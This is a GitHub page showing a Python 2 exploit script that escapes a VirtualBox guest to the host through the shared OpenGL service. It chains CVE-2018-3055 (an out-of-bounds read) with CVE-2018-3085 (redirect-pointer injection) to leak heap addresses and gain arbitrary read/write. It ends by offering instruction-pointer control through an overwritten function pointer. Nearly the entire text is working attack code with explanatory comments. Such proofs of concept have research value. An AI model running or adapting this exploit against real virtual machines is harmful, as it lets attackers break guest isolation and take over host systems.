Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

executable file 242 lines (199 sloc) 8.8 KB
#!/usr/bin/env python2
from __future__ import print_function
import os, sys
from array import array
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/../lib')
from chromium import *
def make_oob_read(offset):
'''
Builds a Chromium message that will return 16 bytes of data at the given
offset (CVE-2018-3055).
'''
assert offset % 4 == 0
return (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_EXTEND_OPCODE)
+ 'aaaa'
+ pack("<I", CR_AREPROGRAMSRESIDENTNV_EXTEND_OPCODE)
+ pack("<I", (offset-28)//4)
)
def leak_conn(client):
''' Return a CRConnection address, and the associated client handle '''
# Spray some buffers of sizes
# 0x290 = sizeof(CRConnection) and
# 0x9d0 = sizeof(CRClient)
for _ in range(600):
alloc_buf(client, 0x290)
for _ in range(600):
alloc_buf(client, 0x9d0)
# This will allocate a CRClient and CRConnection right next to each other.
new_client = hgcm_connect("VBoxSharedCrOpenGL")
for _ in range(2):
alloc_buf(client, 0x290)
for _ in range(2):
alloc_buf(client, 0x9d0)
hgcm_disconnect(new_client)
# Leak pClient member of CRConnection struct, and from that compute
# CRConnection address.
msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]
pClient, = unpack("<Q", leak[:8])
pConn = pClient + 0x9e0
new_client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(new_client)
return new_client, pConn, pClient
def leak_buf(client, data='a'):
'''
Leak the address of a CRVBOXSVCBUFFER_t and its data, along with the corresponding
buffer ID.
'''
num = 1000
bufs = []
msg = make_oob_read(0xc0)
assert len(msg) <= 0x30
for i in range(num):
bufs.append(alloc_buf(client, 0x30, msg if i == num-3 else data))
# Trigger the call for the third to last buffer.
_, res, _ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[-3], "A"*0x1000, 1337])
# We leak pPrev of the last CRVBOXSVCBUFFER_t.
hdr_addr, = unpack("<Q", res[16:24])
return bufs[-2], hdr_addr, hdr_addr+0x30
class Pwn(object):
def write(self, where, what):
# Write address to master, which points to victim, thereby overwriting the
# pData pointer of victim.
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [CR_MESSAGE_WRITEBACK, 0x10, 0, pack("<Q", where)])
# Write to victim.
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.victim_id, 0x30, 0, what])
def write64(self, where, what):
self.write(where, pack("<Q", what))
def read(self, where, n, canfail=False):
# Set pHostBuffer and cbHostBuffer, then read from the Chromium stream.
self.write64(self.pConn + OFFSET_CONN_HOSTBUF, where)
self.write64(self.pConn + OFFSET_CONN_HOSTBUFSZ, n)
res, sz = hgcm_call(self.client3, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
if canfail and sz != n:
return None
assert sz == n
return res[:n]
def read64(self, where, canfail=False):
leak = self.read(where, 8, canfail)
if not leak:
return None
return unpack('<Q', leak)[0]
def rip(self, at):
# Overwrite a function pointer (CRConnection::Free)
# and the first few bytes of the first argument passed to that function
# (the CRConnection object itself).
self.write64(self.pConn + OFFSET_CONN_FREE, at)
self.write(self.pConn, "foobar")
# Any valid message will do here
msg = pack("<III", CR_MESSAGE_ERROR, 0x41414141, 1) + '\0\0\0\xff'
crmsg(self.client3, msg)
def leak_stuff(self):
self.client1 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client1)
self.client2 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client2)
# TODO maybe spray even more?
for _ in range(3):
for _ in range(400): alloc_buf(self.client1, 0x290)
for _ in range(400): alloc_buf(self.client1, 0x9d0)
for _ in range(600): alloc_buf(self.client1, 0x30)
self.master_id, self.master, _ = leak_buf(self.client1)
print('[*] Header for buffer # %d is at 0x%016x (master)' % (self.master_id, self.master))
self.victim_id, self.victim, _ = leak_buf(self.client1)
print('[*] Header for buffer # %d is at 0x%016x (victim)' % (self.victim_id, self.victim))
self.client3, self.pConn, _ = leak_conn(self.client1)
print('[*] Leaked CRConnection @ 0x%016x' % self.pConn)
# This will land at the address writer_msg, and if processed, will
# return the address victim + 8 as the writeback data.
#
# We will use CVE-2018-3085 to inject a CR_MESSAGE_REDIR_PTR message
# which points to this message.
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_EXTEND_OPCODE)
+ 'abcd'
+ pack("<I", CR_WRITEBACK_EXTEND_OPCODE)
+ pack("<Q", self.victim + 8)
)
_, _, self.writer_msg = leak_buf(self.client1, msg)
print('[*] Writer payload @ 0x%016x' % self.writer_msg)
def setup(self):
self.leak_stuff()
# Any message will do here, it will be overwritten anyway before processing
msg1 = pack("<III", CR_MESSAGE_ERROR, 0x41414141, 1) + '\0\0\0\xff'
# glBegin
msg_begin = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_BEGIN_OPCODE)
+ '\0'*4) # mode, has to be <= GL_POLYGON
# glEnd
msg_end = pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) + '\0\0\0' + chr(CR_END_OPCODE)
# Fill up potential holes.
for _ in range(20):
alloc_buf(self.client1, 0x100000)
alloc_buf(self.client1, 0x100010)
boom = ''
# Fake CRVBOXHGCMBUFFER_t header, will cause free() to do nothing
boom += '\0'*0x10
# Fake CR_MESSAGE_REDIR_PTR message. If this gets processed, the
# response message will be written over the master buffer header
boom += pack("<IIQ", CR_MESSAGE_REDIR_PTR, 0x41414141, self.writer_msg)
boom += '\0'*16
boom += pack("<Q", self.master) # pWriteback
boom += pack("<Q", self.master + 4) # pcbWriteback
boom += 'E'*8
boom += 'F'*8
boom += 'G'*8
boom += 'H'*8
# We call GLXMakeCurrent to set up the GL state properly.
# Otherwise we can't trigger allow_redir_ptr = 0
create_context(self.client1)
while True:
# Try to trigger CVE-2018-3085
crmsg(self.client1, msg_begin)
crmsg(self.client2, msg1, 0x100000)
# Reclaim freed message buffer using our CR_MESSAGE_REDIR_PTR payload.
for _ in range(10):
alloc_buf(self.client1, 0x100000, boom)
crmsg(self.client1, msg_end)
# If we triggered the bug successfully, we overwrote the master
# buffer header, including the buffer ID. It now looks like:
#
# CRVBOXSVCBUFFER_t {
# uiId = 0x77474c02, -> CR_MESSAGE_WRITEBACK
# uiSize = 0x10,
# pData = 0x7fd9b043f528, -> this points to victim + 8
# pNext = 0x7fd9b0423f30,
# pPrev = 0x7fd9b0424080
# }
#
# We can check if this was successful by trying to write to the buffer
# with ID 0x77474c02 (which wouldn't normally exist).
try:
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER,
[CR_MESSAGE_WRITEBACK, 0x10, 0, "AAAAAA"])
except IOError:
print(' retrying...')
continue
# Check arbitrary read primitive
self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE, canfail=True)
if self.crVBoxHGCMFree:
break
raw_input('Leak failed for some reason! press ENTER and try again if you can. Good luck.')
exit()
print('[*] Leaked crVBoxHGCMFree @ 0x%016x' % self.crVBoxHGCMFree)
# Check read/write
test_addr = self.writer_msg + 0x10
print('[*] Verifying read/write primitive by writing 0xdeadbeefdeadbeef to 0x%016x' % test_addr)
self.write64(test_addr, 0xdeadbeefdeadbeef)
assert 0xdeadbeefdeadbeef == self.read64(test_addr)
# Make sure we don't crash on exit, by restoring pHostBuffer to a free'able object
self.write64(self.pConn + OFFSET_CONN_HOSTBUF, self.writer_msg)
if __name__ == '__main__':
p = Pwn()
p.setup()
if raw_input('you want RIP control? [y/n] ').startswith('y'):
p.rip(0xdeadbeef)
You can’t perform that action at this time.